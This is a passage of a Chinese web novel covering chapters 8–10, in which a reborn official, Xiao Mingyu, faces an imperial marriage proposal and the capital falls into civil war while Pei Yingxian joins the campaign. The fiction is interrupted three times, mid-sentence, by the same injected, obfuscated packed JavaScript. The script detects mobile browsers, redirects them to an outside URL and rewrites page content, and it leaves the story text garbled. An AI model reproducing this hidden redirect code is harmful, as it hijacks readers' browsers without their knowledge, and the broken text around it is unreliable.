裴子深背着刀的身影在长廊尽头一转,消失在屋舍之后。裴应弦倚着廊柱,手指无意识地叩着腰间的刀鞘,心思飞转。 猜到陛下若病重朝中会有动荡,却想不到会这么夸张。居然到了需要裴家兵介入的地步么?乔、杨两家到底想干什么,难道还打算造反不成? 或者,母亲只是单纯地未雨绸缪,保持警惕? 裴应弦的手指在刀柄上收紧,重重吐了口气。她得密切关注澧阳的情况。不出事最好,但万一真出了什么事,她可不打算缩居虞林,只求苟全性命。她这一身刀法不是白练的,这一年来频频往薛令仪面前凑,也绝不会是白费功夫。 但是母亲明显不打算让她操心澧阳的事,薛令仪忙起来顾不着她,申晚照的母亲和长姐也不会在信中多提朝中情况。至于她爹高亭郡主,那就更指望不上——他自己还有什么事都要找裴栩寻求意见呢,若裴栩不打算让女儿知道,高亭郡主是一个字也不会透露的。 她得有个能接触到朝中情况的人,最重要是,这个消息来源不会被捅到她母亲面前去,免得她又得挨裴栩一顿揍。 裴应弦在原地站了一会儿,脑子里忽然冒出一张温和无辜的脸,脑门儿上还顶着一块旗帜似的青紫。 萧琮。这位二公子今年在澧阳可算出足了风头,得了鉴者足足十五字的鉴词不说,年仅十七便获得了为皇次女讲学的殊荣,可谓陛下面前炙手可热的红人。 能接触到两位皇女,想必比朝中其他重臣知道得还要更多些。 至于怎么和萧鸣玉搭上线…… 那个萧鸣枢不是想要讨个兵曹史做吗?兵曹史她裴应弦可能讨不来,但是往兵曹从事身边塞个书佐应该不算很难吧!再怎么说,那萧机也是虞林萧氏的公子,再加上她裴应弦的面子,这事还是能办的。 那既然都帮了这么“大”的忙,让他“好奇地”从姐兄那里打听些宫中之事,料想……他也不好意思拒绝吧? 不幸遭裴应弦惦记的萧二公子正在澧阳的住处收拾行李。 萧承安官至尚书令,萧鸣鸾在光禄寺做谏大夫,他自己则在太常寺任博士,一家三位官员,皇帝十分重视,特意命人在澧阳城中为她们置办了一处宽敞的宅子。 现下,一架辎车正停在大宅门前。车夫缩着手站在车边跺脚,回头正看见萧鸣玉轻装简行迈出门来,忙三步并作两步迎上去,伸手要去接萧鸣玉手上的行囊。 行囊没接着,他手中反倒被塞入一只小巧的铜制手炉。只听那萧二公子温声道:“仓促出行,有劳您了。天寒地冻,路途也远,且带着这个,莫要冻坏了身子。” 车夫还在捧着手炉发愣,萧鸣玉已一撩衣摆登上了辎车后舆。 他方才说得不假,这次出行确实仓促,路途也确实遥远——他要回一趟虞林。 高亭郡主留宿宫中,近日朝会上,岑瑛露面的时间也越来越短,他清楚地意识到陛下已时日无多,而这也意味着,天下大乱的时候要到了。 等蓬州、枚州的军队东南而下直逼澧阳城,要再出城,便不是件容易的事。在那之前,他得把萧鸣枢抓来澧阳,好好地看管起来,以免上一世的悲剧重现。 车轮碾过路面薄雪,马儿喷着白气小跑起来,萧鸣玉倚在车厢上合上眼,心里暗自盘算着之后的事。 然而,马车刚驶出街道,便毫无征兆地停了下来。车厢外传来一阵急促的呼哨,是车夫正狼狈地扯着缰绳让马儿停步。 萧鸣玉皱起眉,待要询问出什么事了,刚探出头,便看到那车夫连滚带爬地圆润滚下了马车,铜炉摔落在地,尚还滚烫的炭火落在积雪上,一时间滋滋作响。 车夫匍匐在雪地上,把脸深深埋在手臂间,声音闷闷自身下传来:“草、草民、拜拜拜见……” 一架雕饰华丽的彩绘木轺车停在前方几步外,朱红色的茵垫在雪中格外显眼。 锦缎织就的伞盖下,一缁衣女子偏头看过来,唇角勾起一点礼貌的弧度:“萧公子,陛下有请。” 陛下指名见我做什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999075|193937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乘对方的轺车进入宫中的一路上,萧鸣玉都在暗自猜测。 前来接他的女子乃陛下身边最得器重的几名近侍之一,名唤季回风。她对皇帝召萧鸣玉进宫的原因只字不提,除了最初的通知外一语不发,萧鸣玉识趣地保持沉默,心里却在暗暗猜测。 大抵……是为了皇次女岑渺的事吧。 与前世投效裴应弦前的默默无闻不同,他今次主动来到澧阳,与澧阳的几位鉴者谈话后,得到了比上一世高得多的评价。 上辈子,萧鸣玉得到的鉴词是“风流俊逸,莹璧无瑕”,属于相当高、却又不怎么“有实际价值”的评价。 而这次,鉴者与他相谈后,给出了足足十五字的鉴词:“丹墀对策,金殿舞墨,莹璧堪为栋梁才”。 鉴词一出,整个澧阳的读书人都惊动了。 要知道,哪怕是才名在外的“青凤君”萧鸣鸾,当初得到的鉴词也只是“碧帝宫中鸾鸟落,醴泉涌处青凤鸣”。 这鉴词虽说将萧鸣鸾的出众才华描述为人世之外的仙境之才,到底却没有明确的、成就上的表述。可萧鸣玉这十五字,却无一不在说明:他将以贤臣、栋梁的身份,建立功业、匡扶社稷。 一时间,萧鸣玉的名字传遍了大宪。连皇帝岑瑛都惊异于一名十七岁的少男所获得的评价,召他进宫对话,而后颇为满意地令他为年仅十岁的次女讲学。 虽然讲学一事只持续了很短的时间,病休的太傅痊愈后萧鸣玉便去了太常寺赴任,但岑瑛的态度仍然决定了他不会只是一名默默无闻的博士。 萧鸣玉自己清楚,他的天资远在长姐之下,能得到鉴者如此高的评价,不过是因为他多活了二十年。而那二十年中,他确实一直在做贤臣、栋梁——不是大宪的,而是裴应弦的。 但这名头到底为他挣得了入宫面圣、接触皇女的机会,与他最初的计划不谋而合,他没有理由拒绝。 轺车停在皇宫侧门外。季回风还未向守门的卫士展示令牌,认出她的卫士已先恭敬地行起了礼。 萧鸣玉随她进入宫门,穿过常平门、宁华门,向后方皇帝起居的景宜宫走去。 宫中人影疏落,只景宜宫门外侍立几名卫士与侍者。殿中静极了,无人说话走动,空气里弥散着一股清苦的药味。 季回风引他进去后快步走到榻边,低声说了什么,而后躬身退至一旁。两名女侍端着盛装药物的器皿轻手轻脚地退下,本坐在榻边的高亭郡主也在他进来后不声不响地起身离去了。 萧鸣玉放轻了步子,在榻前几步处跪身稽首:“微臣萧鸣玉参见陛下。” 重重床帷后,岑瑛的声音显得轻忽飘渺:“萧卿平身。” “卿今年……有十八了?” “回陛下,待到月末新年,臣便有十八了。” 景宜宫中静默了片刻,萧鸣玉听见皇帝不辨喜怒的声音:“近日,朝中有人上表称,萧卿令仪令色,孝悌仁惠;又有贤名在外,颇得鉴者赏识——” 岑瑛顿了顿,继续道:“为晋王婚配者不二之选。” “不知萧卿……意下如何?” 8. 晚来天欲雪(四) ……什么? 饶是两辈子加起来活了足有四十多年的萧鸣玉,这下也愣了。 他僵立原地,恭谨垂下的眼睛倏然瞪大了,几乎疑心自己耳朵出了问题,否则怎么会听到如此震撼的询问。 晋王岑浩,婚配? 现在么?可前世岑浩明明登基许多年后才—— 皇帝还在等着他回话,萧鸣玉只好勉强压下声音里的讶异,尽可能平静地回道:“这……臣认为,恐怕不妥。” 确实不妥。他多少能够理解岑瑛想把萧氏与皇长女捆绑的做法,这样在岑浩即位后萧氏为了家族利益也必然对新帝死心塌地。 但是不行,既然他已经知道岑浩登基后大权旁落,外戚乔氏专政,却没多久就被裴应弦扳倒,他怎么能现在就把整个萧氏都搭进去。 更何况,他真的不愿—— 景宜宫里静了片刻,他听见岑瑛发出一声表示疑问的鼻音:“嗯?如何不妥?” 片刻间,萧鸣玉已在脑海中理出推拒的借口:“臣长姐尚未婚配,身为次男若先……恐有违长幼有序之道……” 侍立一旁的季回风掀起眼皮,向他投来一个意味深长的眼神。 当然了,这里没有蠢人,谁都听得出他是在找借口。但萧承安位高权重,虞林萧氏又素有克己复礼的声名在外,只要他的拒绝不太直白,就应当不至于遭到为难。 “萧卿所言甚是。”岑瑛果然没有生气,相反,皇帝听上去甚至带上了微弱的笑意,“况且,亲王夫不得入朝干政乃是惯例,萧卿如此大才,若困于宅院中,朕可真要扼腕而叹了。” 皇帝又简短地和他谈了几句太常寺的工作,很快便乏了,叫季回风送他回去。 行完礼起身,萧鸣玉下意识开始揣摩起皇帝的意思。自始至终,皇帝本人都没有对婚配一事表露过态度,提起时只说有人上表,他拒绝后甚至还笑了一笑。如此看来,岑瑛似乎并不真的想让他和岑浩成婚,反而对这事并不热衷。召萧鸣玉进宫,比起关心他的终身大事,更像是……在试探萧氏在立储一事上的态度。 但真的只是惋惜他的才能,又似乎太夸张了。能用一桩婚事把虞林萧氏与新帝捆绑,几乎是一桩稳赚不赔的买卖。 既然要传位给晋王,为何不尽快壮大她的势力? 走出景宜宫时,方才退下的高亭郡主正迎面而来,双方一见礼,萧鸣玉的目光便忍不住落在对方的面上。 很诡异,皇帝说他是晋王婚配不二之选,问他意下如何的那一刻,萧鸣玉脑海中首先闪过的既不是朝中局势,也绝非家族发展,而是……裴应弦的脸。 裴应弦长得与母亲裴栩极像,浓黑的凤眼,高挺的鼻梁,英气的眉,还有不笑时锐利如刃的气质。但她独独得了高亭郡主的唇,薄而色淡,只在醉后秾丽。 萧鸣玉对脑海中一闪而过的面容几乎感到悚然,他不敢细想在这种时刻忽然想起裴应弦的原因,强令自己用更多更要紧的事压过它,它却偏偏在与高亭郡主一照面中卷土重来。 婚配……婚配? 冷风骤起,灌进衣襟,萧鸣玉一哆嗦,莫名涌上来的热意顷刻全散了。 前世裴应弦立后时的场景自遥远的记忆深处浮起,喜乐声中,铺天盖地的金与红令他目眩。 萧鸣玉垂首拢拢襟袖,默背起《昏义》来:昏礼者,将合二姓之好,上以事宗庙,而下以继后世也…… 是合作,是礼法,是继承,唯独不该是脑海中幽魂般徘徊不去的面容,或者某一刻毫无缘由的心旌摇曳。 更何况……他明知自己恨着那张面孔的主人。 他当然曾有过心旌摇曳的时刻,在她身上寄托救国的热情、中兴的理想、殷殷的期望,也偶尔为她一句“最知心的谋臣”而整夜辗转,可那些时刻的光热已在渐行渐远中消磨殆尽,最终余火永熄,落了满地的,便只有失望的灰烬。 灰烬堆积了太久,淋上血,在北地的寒风中一吹,倏然凝固成恨的利刃了。 他回到此时、此地,是来断送她的前程,或者性命。 天下将乱,有无数分量远比私情或旧怨更重的事还在等他去做。他不该继续想下去了。 金正五年元月末,皇宫封闭,任何人不得出入。澧阳城中阴云密布,人心惶惶。 二月初一,枚州刺史与驻蓬州的宣武将军应皇次女伯父太尉杨通之召,合兵六万,悍然南下,自西北经衡夷关入京畿,兵临澧阳城下。 大宪老将,现任卫将军孟钦披挂上阵,领北军与之对峙。 初三,宫门开,内侍之首季回风与皇后乔氏现身,言三日前宪帝岑瑛崩,宫中生变,司徒陈霁、太傅钱禾欲拥立赵王,联合赵王父族杨氏族子欲行宫变,不得已封锁皇宫、平息叛乱。 现下叛者伏诛、乱局已平,依据先帝遗诏,晋王岑浩灵前登基,为大宪天子。 太尉杨通于南宫之下怒斥季回风为逆党,联合乔氏私篡圣意,谋害忠良,意在染指天下,其心可诛。 宫墙上,季回风扬臂一指澧阳城北,冷笑而斥:枚州刺史乃杨氏姻亲,宣武将军乃杨氏门生,叛军长驱直入,杨太尉的脸可还洗得干净?倒是狺狺狂吠叫骂起别人其心可诛了! 二月十五,晋王登基大典于宫中举行。 次日,新帝岑浩罢免杨通,加姑母乔逸为司空,季回风为中书令,擢卫将军孟钦为大将军,令其平杨氏叛军。 杨氏全族囚于瓮台,赵王生父衾公子鸩死。 二月十七,两封密信先后自澧阳送抵虞林。 裴应弦脚步急促地穿过回廊,深色的披风在身后猎猎飘动。小厮捧着发冠在身后苦哈哈地边追边劝,要她如果出门至少先理正衣冠,被裴应弦不耐烦地挥开。 她赶紧赶慢,到底晚了一步。前脚刚跨出偏院的垂花门,裴栩的声音就在不远处响起来:“妙音,上哪去啊?” 裴应弦一个激灵顿住了脚步,不情不愿地回过头:“娘……” “要去找薛大人吧。”裴栩上下打量了她一眼,了然地扬扬眉毛,“磐州眼看坐不住了,乔氏又在从熙州调兵,料想薛大人不准备置身事外。” 裴应弦低头盯着脚尖,不吱声。 高亭郡主送回的密信,裴栩没给她看,但到底销毁不够及时,还是被她偷着扒拉了出来。入主司空府后,乔逸的手伸得越发长了,陛下又身体不好,许多事没有精力过问。前任司徒陈霁在宫变中丧命,陛下没有任命新司徒的打算,此间事务便同样由乔逸兼任。哪怕杨氏的军队还在澧阳北虎视眈眈,皇城之内乔氏也是风头无两。 中央有两家在打擂台,地方蠢蠢欲动的势力自然探了头。南方,磐州段氏招兵买马,说是要平乱,包藏的却是割据一方的心思。东北二十多年前被打服了的蚩羯人又开始试探性地骚扰郸州边地,不知何时又会扑上来趁火打劫。 这种情况下,即使虞林尚且算得上和平,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999076|193937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也很难保证这安稳能持续多久。 前日,薛令仪已开始整备军队,要领微州兵西入澧阳,助大将军孟钦平杨氏之乱。 裴应弦,自然而然地,不打算坐在郡主府里观战。 她今年十六,日日习武,练就一手好本事,又正是少年意气盛、最容易热血上头的时候,加之到底流着一半皇室的血,见江山似有乱象,又怎会在此危难之中隔岸观火。 更何况,裴应弦从小听着母亲和姨母金戈铁马驰骋疆场的故事长大,很早便生出类似的愿望,要做传世的名将,饮至策勋,威震九州。 薛令仪答应给她一个校尉做,她岂有拒绝之理? “你还真以为瞒得过我。”裴栩叹了口气,穿过院子走到她面前,无可奈何地摇头,“薛大人要带你出征,怎么可能不征求我的意见。若我不同意,你当真以为自己去得了?” 裴应弦倏地抬起脸来,愕然之色一闪而过,随即转为一阵欣喜:“娘——” 裴栩抬手替她拢了拢鬓边碎发,接过小厮捧上的发冠,轻柔地替她戴上。母女二人离得极近,动作间,裴栩身上泛苦的药味渺渺笼罩过来,薄纱似的覆盖在裴应弦周遭,她的喜悦忽然凝固在舌尖,心头像落满了霜。 战争让裴栩失去了母亲,失去了妹妹,让她自己落得一身旧伤、日日与药为伴,一辈子再也不能动武,而现在,她唯一的女儿也要奔向战场,提刀纵马,不肯驻留、不肯回头。 “妙音,”裴栩的声音轻轻的,和落在她发上的手指一样轻,“娘只有你一个女儿。你想要去建功立业,我能理解,也会支持。只是,刀剑无眼,烽烟无情,你再是金尊玉贵的郡主之女也一样……万事以保全性命为先,知道吗?” “女儿知道。”裴应弦的声音也放低了,她凝视着裴栩的眼睛,认真道,“娘,我不只是高亭郡主的女儿,我更是裴氏的女儿。” “我不想……我不能辱没裴氏的门楣。我得做点什么,我必须为大宪做点什么,让所有人知道裴氏的后人不是纨绔、不是草包废物。” 裴栩笑了:“又在说幼稚话了。我们妙音永远不会辱没裴氏的门楣,你的存在本身就已经足够我们感到骄傲了。” “去吧,妙音。江山宽广,天地无边。” 江山宽广、天地无边,但家一直在这里,需要的时候,你总是可以回来的。 微州刺史府大门紧闭,空气里弥漫着一股紧绷的气息。隔着高高的院墙,能隐约听见急促交叠的脚步声,却没有嘈杂人语传出。府库周遭一片有条不紊的忙碌,粮草、兵甲等辎重正有序运输。 长风、净源、伏野三郡,兵马整备,已至虞林城外,不日便可西进。 裴应弦一扯缰绳滚鞍下马,绕过正门,快步往后方走去。 还没走出几步,旁边巷子里闪出一道身影,险些和她撞在一起。 那人哎呦地叫了一声,往后一跳,第一反应居然是往上扯了扯遮脸的布巾,看起来格外鬼祟。 但有了先前萧鸣玉那一遭误会,裴应弦吃一堑长一智,如今谨慎多了,不会在情况未明时就贸然动手。她狐疑地上下扫了这突然冒出来的家伙几眼,还没开口,对方布巾下却传出一道熟悉的声音:“裴……裴大娘子?” ……不是吧,萧鸣枢? 裴应弦脸色古怪地抽了口气。 虞林萧氏是不是要完蛋了,培养出来的男儿怎么一个两个都如此形容鬼祟、行事怪异? 9. 先烧碛中草(一) “我二哥说,看澧阳的情况,短时间内乱局很难平定,难保不会波及虞林。”萧鸣枢摘了覆面的布巾,蹲在薛令仪门外的台阶上,仰头看着面前来回踱步的裴应弦,“他说要我趁着澧阳以东还没乱起来之前尽快到都城去,一家人在一处有个照应,万一出什么事也好商讨对策。” 裴应弦点头:“说得很有道理啊,那你现在是在做什么呢?” 萧鸣枢心虚地移开了目光:“我刚当上书佐才几天呀,现在就卸任跑了,岂不是……” 懂了,小孩没玩够呢,不想去姐姐哥哥身边被按头读圣贤书。 “再说了,”萧鸣枢据理力争,“薛大人不是也要带兵到澧阳去吗?我这怎么就不是听他的话去澧阳了,只不过换了一种方式而已嘛。” 裴应弦都想给他喝个彩了。 天才的弟弟果然也是天才,只不过萧三公子和他的姐兄天才的方面不太一样。 就裴应弦所知,萧鸣玉已经苦口婆心劝三弟去澧阳许多次了,最近劝得尤其勤,听说本来还打算亲自回来接人的,结果出意外没能成行。他急成这样,肯定也是担心自家这不省心的三弟在战乱中出什么事。 结果呢,萧鸣枢偏偏就要往他最不乐意见到的方向撒丫子狂奔——好啊,不是嫌战乱危险吗?那我来加入战争,成为危险的一部分吧! 毕竟,虚则实之、实则虚之,最危险的地方就是最安全的地方嘛! 不用说,这决定肯定没经过任何人同意,要么萧鸣枢也不用偷偷摸摸挡着脸跑来了。 哈,要是咱们端方儒雅的“莹璧公子”知道了,恐怕要气得吐血。 思及此处,裴应弦嘴角诡异地抬了抬。 萧鸣枢警觉地盯着她:“大娘子,你不会……” “嗯?我什么?”裴应弦故作无辜地一摊手。 在萧鸣枢直勾勾的目光里,裴应弦坦然地走上前去,敲了薛令仪的门:“不是书佐吗?还不就位,蹲在这里做什么,等着薛大人给你升官?” 萧鸣枢欢呼一声,蹦蹦跳跳地跑远了。裴应弦瞄一眼他欢快如脱缰野狗的背影,确认了虞林萧氏这七年有余的礼仪教导,全部付诸东流。 三月初,帝以体弱,令司空乔逸录尚书事。自此,朝中诸事皆经乔氏手。 乔氏软禁赵王岑渺,岑渺令宫女私下传信至杨氏军中,言乔氏专政,行事僭越,大不敬,许诺诛杀乔逸者封侯。 月末,南方磐州段泽起事北征,于毓关被拦下。 协州西南幽平郡郡守响应岑渺密信,打清君侧旗号征讨乔氏,与澧阳城北杨氏的蓬、枚二州叛军合兵。 乔逸震怒,令各地起兵平叛,其中便包括微州刺史薛令仪麾下的微州军队。 四月初三,微州兵入京畿。 营帐内,孟钦坐在最上首,左侧是北军几位校尉,右侧是各州赶来平叛的将领。 孟将军年逾花甲,鬓杂二毛,眼尾处疏疏几道皱纹,刀刻似的烙在粗糙的皮肤上。抬手在地图上比划的时候,袖口滑落,露出她左臂上一道骇人的长疤。那深色的疤痕扭曲、凸起,像盘踞在孟钦小臂上的一条丑陋的长虫,从手腕一路蜿蜒到臂弯,视之令人心惊。 薛令仪告诉裴应弦,孟将军年轻的时候是用双刀的,三十七岁远征东南时,麾下士卒因不适应南方气候病倒了近半数,又遭到敌人伏击,是孟钦带着几位老亲信强行突围杀出来的。她杀得太凶,势头太猛,大宪的兵马在她的带领和护佑极大地保全了力量,但她也在此战中伤得太重,左手几乎废了,自那之后只能单手使刀。 由这样一位战功赫赫、德高望重的老将军坐镇,棠水对岸的叛军果然不敢轻举妄动。 二月至今,宣武将军尝试领兵渡河数次,全被滴水不漏地挡了回去,麾下一员爱将还折在虎贲校尉手中。 其实若论兵力,此时棠水以南孟钦麾下的力量是比不上叛军的。北军八校尉手下将士满打满算只七千余人,临时自南军的羽林、期门调来的士卒尚不足千人,卫将军本部兵千人上下,加上驻守京畿一带的士兵,在各州兵马赶赴而来前,孟钦手里可用的将士最多只有两万余人。 而叛乱的枚州、蓬州兵,加上协州幽平郡郡守带来的人马,虽不及她们号称的十万大军,却也足有近六万人。 只是大将军孟谨佩的赫赫威名刀剑似的悬在她们头上,这棠水便忽然成了黄泉,一步也渡不得了。 “所以她们就耗着,一直等到我们来?”从孟将军大营回驻地的路上,裴应弦不可置信地跟在薛令仪身后,眉毛快要从面上飞出去,“枚州刺史我不熟,但黄福能当上宣武将军,她不能是个傻的吧?” 裴子深从后面扯了她一把:“走慢点,你是想把薛大人靴子踩掉吗?” 她应朝廷征召,领了八百裴家兵从旃平赶来澧阳,在京畿道上与薛令仪的微州兵相遇,便结伴前来。 在薛令仪麾下见到裴应弦,裴子深一点也没表现出意外。 合兵的第一夜,她把这位连枝妹妹叫到自己帐中,交给她一把新刀:“姨姥姥要我带给你的。她说自己舍了老脸央‘景宁圣手’亲自打的,是你平常用的款式。姨姥姥说我打打杀杀惯了,她不担心我,只怕你没个趁手的兵器,再……” 裴子深摇摇头,止住话头示意裴应弦:“拿着吧。” 那确实是一把稀世难见的好刀。刀身修长,轻重适宜,冷银色的锋刃吹毛断发。帐中灯火给刀身涂抹上昏红血色,那冰凝雪铸似的刀锋便饮血般一闪,亮出一丝冷铁生寒的煞气。 “‘景宁圣手’的习惯你也知道,刀枪剑戟,一律不铭。”裴子深拍了拍裴应弦的肩膀,“但你可以给它取一个名字。” 名字,裴应弦还未来得及思索。一把开刃以来从未浴血的新刀,还不是得到一个名字的时候。但她确实对这把刀中意得紧,日日佩在身上,闲暇时便轻轻摩挲,一副爱不释手的模样,令裴子深看了好笑。 虎贲校尉迎面走来,薛令仪上前与人寒暄,裴子深拽着裴应弦落后几步,趁机点了裴应弦两句:“宣武将军当然不傻,她们是人多,但枚州兵和蓬州兵不一定就一条心,更何况后来加入的幽平郡兵马,黄福哪里知道她们是去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999077|193937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助战还是等着打秋风?” 裴应弦眯起眼想了想,答道:“所以,黄福以己度人,觉得各州援军到了之后,我们这边势力更多,想必心更不齐,也许比在孟将军手下铁板一块时更有可乘之机?” 裴子深倒被她跳跃的思路搞得愣了愣:“以己度人……?我只是想说,黄福不强渡棠水开战,一方面是她们内部或许没能达成一致,另一方面,就算她是宣武将军,她也未必就说了算。” “不过,你这想法倒也不无道理。”裴子深面露思索之色,想得出神了,一时松了手,叫裴应弦抽开胳膊转身跑了。 她急忙回头,待要问这想一出是一出的小妹往哪去,裴应弦那玄色披风一晃,已消失在营帐间了。 “灵犀——咳,我是说,晚照啊。”裴应弦在好友的瞪视中面不改色地改口,一撩衣摆在申晚照身边坐下来,“问你个事。” 申晚照能随军出征,裴应弦也很是意外了一阵。最初她还以为好友和萧家那个三公子一样,是背着家里偷偷跑出来的,一问之下才知道并非如此,申晚照是经过母亲和长姐的允许,才随微州兵一起来的。 想来也是,各地但凡有点势力的人都把现如今的情况视作机会,申氏把次女投进来走军功路线,倒也合理。 “起开,裴应弦,你坐着我袖子了。”申晚照翻了个白眼。 她生得瘦小,衣袍穿在身上总显得空荡,风一吹呼啦啦像个挂在杆上的布袋子招摇。现下也是,好好的外袍,她申暮一披,愣是要长出一截来,裴应弦一个没注意就一屁股坐上了垂在席上的袖摆。 “啊呦,对不住。”裴应弦嬉皮笑脸,不以为忤,往旁边挪了挪,锲而不舍地凑过去道,“我有问题要请教,晚照你可一定要帮我呀。” 从这家伙进来开始,申晚照就一个字也没再读进去了。她无可奈何地合上了手里的书册,伏在案上伸了个懒腰:“怎么了?” “你知道的,我家朝中无人,很多事只能靠道听途说,不比大司农大人人脉广泛、消息灵通,”裴应弦不管马屁马腿先乱拍一通,而后徐徐道出自己的诉求,“黄福我还多少了解一点,毕竟是武将。但那枚州刺史嘛……” “卫原路氏路七娘,路士铮。”申晚照看着裴应弦茫然的脸就知道这家伙对此毫无概念。 她把裴应弦熟悉的人想了一圈,忽然想到什么似的“噢”了一声:“还记得之前你生辰宴上我们见过的萧氏的人么?她们那个过世的父亲,就出自卫原路氏,不过和路士铮的关系已经相当远了。” 哦,萧承安那个死了的正夫。 萧氏三位同辈的面容从裴应弦脑海中飘过去,她短暂地任由自己的思维跑偏了一下:萧鸣鸾三姐弟都长得挺好看的,那路士铮既然和萧承安的亡夫出自一族,应该也是个美人喽? 申晚照对她的猜想进行了无情地粉碎:“怎么可能,路七娘可是生了副威名在外的凶煞相。” 裴应弦把“凶煞相”和记忆里萧鸣玉的脸摆在一处,忍不住打了个寒战:“那萧家的孩子们长得像萧承安,可真是件莫大的好事啊。” 10. 先烧碛中草(二) 侍者快步走近的时候,萧鸣玉刚把身边两位颇得信任的侍从送走。 上次要回虞林亲自去接萧鸣枢,还没出发就应召入宫面圣,回来后又匆忙与母亲长姐密谈,分析立储形式、揣测上意。还没来得及喘口气,次日杨氏的使者便登门拜访,一连串的事件根本不容他自澧阳离开,接人的行程便也随之一拖再拖,直拖得不了了之了。 写信给萧鸣枢本人、甚至家中祖父均已被证明全然无用,萧鸣玉不得不趁着还没乱起来,派遣身边信得过的侍从跑一趟虞林,把萧鸣枢接到身边来。 为了这不着调的三弟操碎了心,萧鸣玉按着额角深深叹了口气。还没放下手,就听侍者在身边停下来:“二公子,萧大人请您到她的书房去一趟。” 这又是……? 萧鸣玉放下笔,边思索边快步穿过院子。一阵不安感阴魂不散地萦绕而来,他在暖春的日光中无端打了个颤。 近来他时常生出难以排解的忧虑,或夤夜中倏然惊醒,指尖因心悸微微打颤,神思清明,难再入眠。 ——形势变化得有些太快了。 这才四月中,段泽已经起事,薛令仪的微州兵也已西进。 这一切都比他记忆中发生的要早:前世他在虞林两耳不闻窗外事,却也隐约留有印象,微州兵自虞林动身西进,至少是六月份的事了。 事情的发展超出预料、失去掌控,而原因却未知,这令萧鸣玉难受极了。作为世家之后,萧鸣玉自小习礼,深知礼的核心是秩序,而秩序的背后则是控制。在这一套系统中浸润着长大,他习惯于尽可能把事情的进展把控在手中。 但如今,时势的车轮却并未按照他记忆中的辙痕前进。按照这个趋势进行下去,失控愈演愈烈,他的记忆与经验能够起到的作用恐怕会大打折扣。 他在萦绕不去的不安与隐忧中叩响书房的门。房间里,萧承安与萧鸣鸾相对而坐,面色沉凝地看过来。 空气里氤氲着某种滞涩而沉重之物,无形的弦绷紧了,在他推开门的刹那绕过他的喉管,绞紧时带来一串轻微的眩晕。 萧承安看着他说:“鸣玉,你……暂且先回虞林去。” “……这是怎么了?”萧鸣玉反手掩上门,困惑地低语,“太常寺那边——” “那些不重要了。你‘病了’,需要回去休养。”萧承安摇头,面上少见地透出几丝疲惫,“乔司空……”她止住话头,轻声叹了口气。 萧鸣鸾招手让弟弟坐下,低声解释道:“今日,乔司空以拖延不进、贻误战机为由,夺了孟将军的领兵权,要把人带回城中受审。” 乔逸对孟钦下手了?萧鸣玉心中猛地一跳,那种心悸感又攫住他,他下意识攥紧了拳头。 事情发展得比他预料中更快,乔逸这辈子耐性越发差了,陛下擢升孟钦为大将军才几天,她就要动手把人头衔剥掉了? 他知道这事会发生,也已经在着手准备,但上辈子,乔逸至少按捺了百余日,在孟钦手下部将的一场小败之后才攒够了借口夺她兵权,怎么现如今这般急,两月都不肯等了? 见他脸色难看,萧鸣鸾垂眼摇头:“如今,除了孟将军,还有谁能服众?谁能领各州联军平叛呢?司空大人的好外甥于夋吗?他凭什么能坐上执金吾之位,谁不清楚呢?澧阳城北怕是马上要有一场恶战。” 不……远不止“一场恶战”。 孟钦下狱,平叛的联军成了一盘散沙,互相忌惮,各自为战,根本无力回天。孟钦手下最精锐的那部分亲兵还愤然倒戈,在联军被冲散后与叛军一起对澧阳城发动了进攻。 而被囚禁在瓮台的杨氏族人趁着看守她们的羽林、期门军调兵期间的混乱,派遣一小男侍偷偷出宫,传信给军中早先暗暗布下的人手,为叛军开了一道城门。 尽管很快便被守城将士发现不对并阻止,但是太晚了。千里的堤坝尚且能因蚁穴轰然倒溃,这缝隙像成熟过头的果实崩开一线裂口,蚁虫一拥而上,果壳再不能坚守顽抗了。 而这一切,都只发生在孟钦离开联军大营后的七日之内。 自此,澧阳被践踏在战争的铁蹄之下。 这座历史悠久的古老国都在刀剑与马蹄下血泪横流。两方人马争夺着澧阳的控制权,来回的拉锯中,明堂七十二牖焚于烈火,灵台巍巍仅余残垣,无数书册遭毁或散佚,而城中黎民……死伤相藉,白骨露野。 萧鸣玉手上愈发用力,修剪平整的指甲压进掌纹,疼痛缓慢而圆钝地碾磨着皮肉。 来不及了,算算时间,孟钦已经被捕,城外必定已乱了起来。 她们谁也走不了。 萧鸣鸾还在继续向他解释:“陛下又病倒了,乔司空如今权倾朝野,既已清算大将军,谁知下一步祸患会落在何人头上。你当初拒绝了与陛下的婚事,难保司空大人会视你为……” “大姐。”萧鸣玉低声打断她,透过窗户看向北边。 